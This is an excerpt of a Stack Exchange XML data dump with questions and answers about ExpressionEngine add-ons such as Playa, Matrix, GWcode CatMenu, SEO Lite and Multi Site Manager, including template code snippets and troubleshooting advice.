  <row Id="25661" PostTypeId="2" ParentId="25647" CreationDate="2014-09-12T09:46:55.127" Score="1" Body="&lt;p&gt;Yes, you sure can by using the structure entries plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;devot-ee.com/add-ons/structure-entries &lt;/p&gt;&#xA;" OwnerUserId="730" LastActivityDate="2014-09-12T09:46:55.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25662" PostTypeId="2" ParentId="17826" CreationDate="2014-09-12T10:55:17.510" Score="-2" Body="&lt;p&gt;use clustering .make group of markers as cluster.one cluster will present many markers inside.&lt;/p&gt;&#xA;" OwnerUserId="3572" LastActivityDate="2014-09-12T10:55:17.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25665" PostTypeId="1" AcceptedAnswerId="25672" CreationDate="2014-09-12T14:56:38.900" Score="0" ViewCount="94" Body="&lt;p&gt;How do I set &lt;a href=&quot;http://goo.gl/hVkUGj&quot; rel=&quot;nofollow&quot;&gt;GWcode CatMenu&lt;/a&gt; to not show child categories that have no entries assigned to them? The &lt;code&gt;show_empty=&quot;no&quot;&lt;/code&gt; parameter only seems to work for parent categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_catmenu style=&quot;linear&quot; cat_id=&quot;5&quot; active_branch_only=&quot;yes&quot;}&#xA;    {if cat_id != 5}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='home/products_grid/category/{cat_url_title}'}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/if} &#xA;{/exp:gwcode_catmenu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="5" LastEditDate="2014-09-12T23:16:24.907" LastActivityDate="2014-09-12T23:33:08.150" Title="GWcode CatMenu: Do Not Show Empty Children" Tags="|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25667" PostTypeId="1" CreationDate="2014-09-12T16:10:04.607" Score="0" ViewCount="140" Body="&lt;p&gt;I have a Matrix field with a Playa field inside it, listing entries limited to the &quot;Biographies&quot; channel. The issue I'm seeing is that when editors search for a title, the resulting list contains entries from ALL channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this intended behaviour or is there something I am missing? Ultimately, searching the entries should respect the settings for that field and only list our &quot;Biographies&quot; channel's entry titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EE 2.8.1&lt;br /&gt;&#xA;Playa 4.5.1&lt;br /&gt;&#xA;Matrix 2.6&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: to clarify, the field is in the CP, as shown below. If I search for &quot;Pinchas Zukerman&quot;, all matching entry titles in the system are displayed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XhieK.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3576" LastEditorUserId="3576" LastEditDate="2014-09-12T17:45:40.520" LastActivityDate="2014-09-12T17:45:40.520" Title="Playa field search feature displaying entries from all channels" Tags="|matrix|playa|filter|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25668" PostTypeId="1" CreationDate="2014-09-12T17:39:37.193" Score="0" ViewCount="120" Body="&lt;p&gt;I recently updated my EE installation to &lt;strong&gt;EE 2.8.1&lt;/strong&gt;. All is well except I cannot get Multi Site Manager to work. I'm currently using &lt;strong&gt;MSM Version: 2.1.7 Build: 20140715&lt;/strong&gt; and when attempting to switch to a different site's control panel using the site dropdown within the control panel, I'm presented with the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Fatal error: Call to undefined method Cp::switch_site() in /system/expressionengine/controllers/cp/sites.php on line 57.&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within each of my site's main admin.php file, I've set &lt;code&gt;site_name&lt;/code&gt; and &lt;code&gt;cp_url&lt;/code&gt; within the &lt;code&gt;$assign_to_config&lt;/code&gt; array but the settings are not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if the version of MSM that I have is not usable with EE 2.8.1. Can anyone confirm this or does anyone have any insight as to why I'm receiving this error?&lt;/p&gt;&#xA;" OwnerUserId="3577" LastActivityDate="2014-09-14T21:24:39.993" Title="Which version of MSM is compatible with EE 2.8.1?" Tags="|control-panel|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25670" PostTypeId="1" AcceptedAnswerId="25776" CreationDate="2014-09-12T19:17:54.540" Score="1" ViewCount="61" Body="&lt;p&gt;I ended up selecting an item that had only 1 item in inventory.  I selected 2, but it automatically selected 1 because of the inventory level. Is there any way to have displayed a note explaining that? Something like available X in stock?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-09-19T20:03:39.400" Title="Expresso Store and inventory limit message" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25672" PostTypeId="2" ParentId="25665" CreationDate="2014-09-12T23:33:08.150" Score="1" Body="&lt;p&gt;Did you enable the &lt;code&gt;entry_count&lt;/code&gt; parameter?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_catmenu &#xA;    style=&quot;linear&quot; &#xA;    cat_id=&quot;5&quot; &#xA;    active_branch_only=&quot;yes&quot; &#xA;    entry_count=&quot;yes&quot; &#xA;    show_empty=&quot;no&quot;&#xA;}&#xA;    {if cat_id != 5}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='home/products_grid/category/{cat_url_title}'}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/if} &#xA;{/exp:gwcode_catmenu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-09-12T23:33:08.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25678" PostTypeId="1" CreationDate="2014-09-14T08:24:33.580" Score="0" ViewCount="396" Body="&lt;p&gt;I've been using &lt;a href=&quot;http://devot-ee.com/add-ons/md-character-count&quot; rel=&quot;nofollow&quot;&gt;MD Character Count&lt;/a&gt; on a text field to force users to keep the size of a summary field short and concise. But I want to switch it to a Wygwam field so the method of adding links is the same as the Wygwam body field.&#xA;I've looked at &lt;a href=&quot;http://devot-ee.com/add-ons/limitee&quot; rel=&quot;nofollow&quot;&gt;Limitee&lt;/a&gt; as well but it doesn't do Wygwam fields.&#xA;I know I can limit the amount of text on output in the template but I need the author to now when they have hit the limit.&lt;/p&gt;&#xA;" OwnerUserId="483" LastEditorUserId="483" LastEditDate="2014-09-19T08:57:48.957" LastActivityDate="2015-09-28T03:01:40.407" Title="Character number limiter on Wygwam field" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25679" PostTypeId="2" ParentId="9032" CreationDate="2014-09-14T08:38:01.713" Score="3" Body="&lt;p&gt;Following on from Aelvan's answer here is the code I use to automatically resize images in Wygwam fields and remove the dimensions. It also stops them adding stupidly large images. It requires &lt;a href=&quot;http://devot-ee.com/add-ons/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt;, but why wouldn't you have that installed anyway?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:bulk max=&quot;300&quot; crop=&quot;no&quot; allow_scale_larger=&quot;no&quot; add_dims=&quot;no&quot; attributes='style=&quot;float: right; margin-left:2%;&quot;'}&#xA;{wygwam_field name}&#xA;{/exp:ce_img:bulk}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="483" LastActivityDate="2014-09-14T08:38:01.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25680" PostTypeId="2" ParentId="25609" CreationDate="2014-09-14T08:41:58.730" Score="1" Body="&lt;p&gt;Here is the code I use to automatically resize images in Wygwam fields and remove the dimensions. It also stops them adding stupidly large images. It requires &lt;a href=&quot;http://devot-ee.com/add-ons/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt;, but why wouldn't you have that installed anyway? &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/basics&quot; rel=&quot;nofollow&quot;&gt;The Bulk tag info is here&lt;/a&gt;, you just wrap it around your Wgwam field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:bulk max=&quot;300&quot; crop=&quot;no&quot; allow_scale_larger=&quot;no&quot; add_dims=&quot;no&quot; attributes='style=&quot;float: right; margin-left:2%;&quot;'}&#xA;{wygwam_field name}&#xA;{/exp:ce_img:bulk}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="483" LastActivityDate="2014-09-14T08:41:58.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25681" PostTypeId="1" AcceptedAnswerId="25700" CreationDate="2014-09-14T17:38:32.487" Score="0" ViewCount="37" Body="&lt;p&gt;We have a problem with the way Messages to friends returns errors and succes message through the EE system.&#xA;We call the form in an iframe.&#xA;&lt;em&gt;(And solved form input errors with Jquery validation.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the succes redirect still comes through EE. This makes the iframe collaps.&#xA;Is there a way to avoid the EE success page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We solved the collapsing of the iFrame by changing the errorpage. But the wish to avoid that standard EE success page still stands.&#xA;Is there a way to bypass it?&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2014-09-15T09:36:02.937" LastActivityDate="2014-09-16T03:03:06.030" Title="problem with succes and error messages Message module 'Friends'" Tags="|solspace|solspace-friends|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25682" PostTypeId="1" CreationDate="2014-09-14T19:29:22.187" Score="0" ViewCount="76" Body="&lt;p&gt;So I have this field created for one of my users in which I use matrix. EE is version 2.7 and matrix is 2.5.9 I also use MSM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically there is a grid with 2 columns, one is for names and other is for sound. I upload mp3 file, that works ok, I go to matrix field, click add file, I see it, click save and then file is gone. I can do that forever. Like it does not sees change in value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another entry, where also I have sounds, but that entry is few months old. there i click save, everything stays same. It does not delete values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I see it, problem is in Matrix fieldtype.&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2014-10-06T13:58:12.277" Title="Matrix does not save values" Tags="|matrix|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25683" PostTypeId="2" ParentId="25668" CreationDate="2014-09-14T21:24:39.993" Score="1" Body="&lt;p&gt;Each release of the Multi-site Manager module is &lt;em&gt;only&lt;/em&gt; compatible with the release of ExpressionEngine it accompanied. So in your case, MSM 2.1.7, was released alongside EE 2.9.0, so it won't run with 2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't upgrade to EE 2.90 for some reason, I'd contact EllisLab to see if they can provide a compatible version of the MSM module.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-09-14T21:24:39.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25684" PostTypeId="1" CreationDate="2014-09-15T05:22:30.143" Score="0" ViewCount="43" Body="&lt;p&gt;Is there a plugin that will only show the Download path after a form has been filled out eg: after the email address has been filled out and the user clicks on submit the download url will be returned?&lt;/p&gt;&#xA;" OwnerUserId="3367" LastEditorUserId="3367" LastEditDate="2014-09-16T04:03:36.490" LastActivityDate="2015-02-13T09:50:12.087" Title="Plugin to show download only after the form has been fielded out?" Tags="|forms|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25685" PostTypeId="1" AcceptedAnswerId="25701" CreationDate="2014-09-15T07:22:20.367" Score="0" ViewCount="264" Body="&lt;p&gt;I am using seo lite and it works fine with tag {extra:desc}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I write in the seolite description in the template, it over writes the title and keywords but not the description. It overwrites if I dont use the tag {extra:desc}. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please help me with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is ma code ---&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{extra:desc}&quot; !=&quot;&quot; }&#xA;&#xA;   &amp;lt;meta name='keywords' content='{meta_keywords}' /&amp;gt;&#xA;  &amp;lt;link rel='canonical' href='{canonical_url}' /&amp;gt;&#xA;  &amp;lt;meta name=&quot;google-site-verification&quot; content=&quot;CGYXJx34stuBq6Ahar-eFmhCJL-egrm533wopJONBoY&quot; /&amp;gt;&#xA;  &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;/&amp;gt;&#xA;  &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;/&amp;gt;&#xA;  &amp;lt;meta name=&quot;author&quot; content=&quot;but.ae&quot;/&amp;gt;&#xA;  &amp;lt;meta name='description' content=&quot;{exp:streeng characters=&quot;160&quot; find=&quot;WHAT IS IT&quot; replace=&quot; &quot;}{extra:desc}{/exp:streeng}&quot; /&amp;gt;&#xA;&#xA; &amp;lt;&#xA;&#xA; &amp;lt;title&amp;gt;{title}&amp;lt;/title&amp;gt;&#xA;&#xA;{if:else}&#xA;&#xA;  &amp;lt;meta name='keywords' content='{meta_keywords}' /&amp;gt;&#xA;  &amp;lt;link rel='canonical' href='{canonical_url}' /&amp;gt;&#xA;  &amp;lt;meta name=&quot;google-site-verification&quot; content=&quot;CGYXJx34stuBq6Ahar-eFmhCJL-egrm533wopJONBoY&quot; /&amp;gt;&#xA;  &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;/&amp;gt;&#xA;  &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;/&amp;gt;&#xA;  &amp;lt;meta name=&quot;author&quot; content=&quot;but.ae&quot;/&amp;gt;&#xA;  &amp;lt;meta name='description' content=&quot;{meta_description}&quot; /&amp;gt;&#xA;&#xA;&#xA; &amp;lt;title&amp;gt;The Future Build&amp;lt;/title&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope to hear from you soon. &lt;/p&gt;&#xA;" OwnerUserId="2996" LastEditorUserId="55" LastEditDate="2014-09-15T12:12:52.090" LastActivityDate="2016-05-20T18:40:29.163" Title="SEO lite {extra:desc} is not getting over ridden with the seo lite template description" Tags="|seo-lite|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25686" PostTypeId="2" ParentId="23931" CreationDate="2014-09-15T09:36:19.057" Score="0" Body="&lt;p&gt;FWIW Simple Registration has support for disabling passwords in the signup form, auto-generating a password and emailing that password to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/simple-registration&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/simple-registration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-09-15T09:36:19.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25687" PostTypeId="1" CreationDate="2014-09-15T09:58:49.330" Score="0" ViewCount="483" Body="&lt;p&gt;I have a site running EE2.9.0 using Focus labs config set-up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting javascript errors in the control panel which are stopping Matrix and some other fields from working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain/admin.php?S=0&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=combo_load&amp;amp;ui=core,widget,mouse,position,sortable,dialog&amp;amp;plugin=ee_interact.event,ee_broadcast.event,ee_notice,ee_txtarea,tablesorter,ee_toggle_all,ee_navigation&amp;amp;file=json2,underscore,cp/global_start&amp;amp;v=1409223534&#xA;&#xA;http://domain/admin.php?S=0&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=load&amp;amp;file=ext_scripts&#xA;&#xA;http://domain/admin.php?S=0&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=combo_load&amp;amp;ui=datepicker,resizable,draggable,droppable&amp;amp;plugin=ee_url_title,tmpl,ee_table,ee_filebrowser,ee_fileuploader,markitup,toolbox.expose,overlay&amp;amp;file=cp/publish,cp/category_editor,cp/date,files/publish_fields,cp/publish_tabs,cp/publish_admin&amp;amp;v=1409223533&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are returning 500 Internal Server Errors in the inspector in Chrome. I am getting the same in Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is all working fine locally and on a staging server so I guess it's something server related but I'm struggling to pin it down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried stripping everything out of htaccess but that didn't seem to help.&#xA;I've also tried various combinations of trailing slashes/no trailing slashes on theme_folder_path and theme_folder_url.&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2022-01-25T18:01:15.157" Title="Javascript not loading in control panel" Tags="|matrix|control-panel|error|jquery|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25689" PostTypeId="2" ParentId="25684" CreationDate="2014-09-15T13:10:38.630" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt; is a good one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could always display the link on the forms result page and utilise &lt;a href=&quot;http://devot-ee.com/add-ons/freeform&quot; rel=&quot;nofollow&quot;&gt;Freeform&lt;/a&gt; to control validation of the results page and saving of the form data.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-09-15T13:10:38.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25691" PostTypeId="2" ParentId="25638" CreationDate="2014-09-15T14:40:06.693" Score="0" Body="&lt;p&gt;I realised some products have a highlight status so I needed to add the status parameter to {exp:tag:entries inclusive=&quot;yes&quot; status=&quot;highlight|open&quot; sort=&quot;asc&quot;}&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2014-09-15T14:40:06.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25696" PostTypeId="1" CreationDate="2014-09-15T18:33:06.260" Score="1" ViewCount="94" Body="&lt;p&gt;I'm trying to create a custom report.  In it, I need a table with rows that would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # Product   Order id Order date&#xA; 1 Partridge 1234567  2014-09-15&#xA; 2 Dove      1234567  2014-09-15&#xA;12 Drummer   1234567  2014-09-15&#xA; 3 Dove      2345678  2014-08-01&#xA; 4 Drummer   2345678  2014-08-01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly this involves a loop over orders, and an inner loop over the items in the order.  However, I haven't been able to access much of the order's data from within the item's loop. While i can see the order ID, I can't seem to access the date the order was entered; instead, &lt;code&gt;entry_date&lt;/code&gt; gives &lt;em&gt;the product's creation date&lt;/em&gt;, which is not what I want at all.  Other attempts -- starting a second-level &lt;code&gt;exp:channel:entries&lt;/code&gt; loop with the appropriate order ID, guessing at possible prefixes or containers for order data (like &lt;code&gt;entry:entry_date&lt;/code&gt; or &lt;code&gt;order:entry_date&lt;/code&gt;) haven't gotten me anywhere.  The following is the code I've written for this so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt;&#xA;{exp:channel:entries channel=&quot;orders&quot;}&#xA;    {order_items variable_prefix=&quot;item_&quot;}&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;{item:quantity}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{item:title}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{order_id}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{entry_date}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    {/order_items}&#xA;{/exp:channel:entries}&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3586" LastActivityDate="2016-06-16T17:24:32.213" Title="Cartthrob report templates: using overall order data while in order items loop" Tags="|cartthrob|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25697" PostTypeId="1" AcceptedAnswerId="25698" CreationDate="2014-09-15T18:50:47.460" Score="0" ViewCount="188" Body="&lt;p&gt;Currently I have a a channel page entry that then goes through a playa of secondary entries.&#xA;I'd like to pass some of the parent's data like page title and description to the embdeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {exp:playa:children field=&quot;content&quot;}&#xA;            {embed=&quot;some_widget&quot; entry_id=&quot;{entry_id}&quot; variable=&quot;{title}&quot; description=&quot;{description}&quot;}&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to pass my embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:entry_id}&quot;  title=&quot;{title}&quot; description=&quot;{description}&quot;}&#xA;    &amp;lt;!--test--&amp;gt;&#xA;    {title}&#xA;    &amp;lt;br&amp;gt;        &#xA;    {description}           &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right now, it does embed the widget. But none of the information is passed along.&lt;/p&gt;&#xA;" OwnerUserId="2270" LastActivityDate="2014-09-15T19:45:01.550" Title="Pass variables through playa loop to use in an embed?" Tags="|playa|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25698" PostTypeId="2" ParentId="25697" CreationDate="2014-09-15T19:45:01.550" Score="2" Body="&lt;p&gt;You don't have the embed syntax quite right. Passing &lt;code&gt;{embed:entry_id}&lt;/code&gt; is correct, as that tells the &lt;code&gt;channel:entries&lt;/code&gt; tag which entry to load. But there are no &lt;code&gt;channel:entries&lt;/code&gt; parameters called &lt;code&gt;title&lt;/code&gt; or &lt;code&gt;description&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, simply use them in the same way you used &lt;code&gt;{embed:entry_id}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - in your example, &lt;code&gt;{title}&lt;/code&gt; will actually be the title of the &lt;em&gt;child&lt;/em&gt; entry, not the parent. To use the parent's title inside of the Playa tag, use a &lt;code&gt;var_prefix&lt;/code&gt; on &lt;code&gt;playa:children&lt;/code&gt; - this will prevent &lt;code&gt;{title}&lt;/code&gt; from being replaced by Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your ending code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foo&quot;}&#xA;    {exp:playa:children field=&quot;content&quot; var_prefix=&quot;widget&quot;}&#xA;            {embed=&quot;some_widget&quot; entry_id=&quot;{widget:entry_id}&quot; title=&quot;{title}&quot; description=&quot;{description}&quot;}&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:entry_id}&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;!--test--&amp;gt;&#xA;    {embed:title}&#xA;    &amp;lt;br&amp;gt;        &#xA;    {embed:description}           &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-09-15T19:45:01.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25700" PostTypeId="2" ParentId="25681" CreationDate="2014-09-16T03:03:06.030" Score="0" Body="&lt;p&gt;Sorry, at this time the EE success page can't be avoided when submitting the {exp:friends:message_form} form. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. :)&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it depends on your setup, you could perhaps try to submit the form in the background through ajax instead of moving away from the form to the success page after submission.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-16T03:03:06.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25701" PostTypeId="2" ParentId="25685" CreationDate="2014-09-16T07:07:21.280" Score="2" Body="&lt;p&gt;For anyone interested the user was helped over here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://getsatisfaction.com/addonbakery/topics/seo-lite-extra-desc-not-over-riding&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/addonbakery/topics/seo-lite-extra-desc-not-over-riding&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-09-16T07:07:21.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25702" PostTypeId="2" ParentId="22034" CreationDate="2014-09-16T09:24:36.023" Score="-1" Body="&lt;p&gt;You could use the normal {exp:tag:cloud} tag.&#xA;But list the results in a javascript array/object instead of the usual html output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using one of many autocomplete javascript plugins, you could make a simple search.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2014-09-16T09:24:36.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25703" PostTypeId="2" ParentId="526" CreationDate="2014-09-16T09:29:46.917" Score="0" Body="&lt;p&gt;Rob has an updated version for Channel Form here:&#xA;&lt;a href=&quot;https://github.com/rsanchez/channel_form_file_add_prefix/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rsanchez/channel_form_file_add_prefix/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2014-09-16T09:29:46.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25704" PostTypeId="1" CreationDate="2014-09-16T10:55:22.757" Score="2" ViewCount="51" Body="&lt;p&gt;Is it possible to get a cron job url in order to update the IP to nation database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use the url used in the ajax call when updating the database manually. But it requires an active session.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2015-12-10T07:40:13.013" Title="IP to Nation cron job" Tags="|cron|iptonation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25705" PostTypeId="1" CreationDate="2014-09-16T11:57:41.730" Score="1" ViewCount="167" Body="&lt;p&gt;I'm getting the following error when trying to upload images to my site using DevDemon's Channel Images (v5.4.18):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Server response was not as expected, probably a PHP error. OPEN ERROR&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Clicking on the OPEN ERROR link presents me with a blank white screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.9.0 and also have the Expresso fieldtype installed (v3.3.3).&#xA;However, the Channel Images field is listed before the Expresso one, when editing my Entry. I noticed some other posts had found that to be a solution in the past.&lt;/p&gt;&#xA;" OwnerUserId="3016" LastActivityDate="2017-07-20T16:22:04.610" Title="PHP error when uploading images using DevDemon Channel Images" Tags="|expresso|php-errors|channel-images|devdemon|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
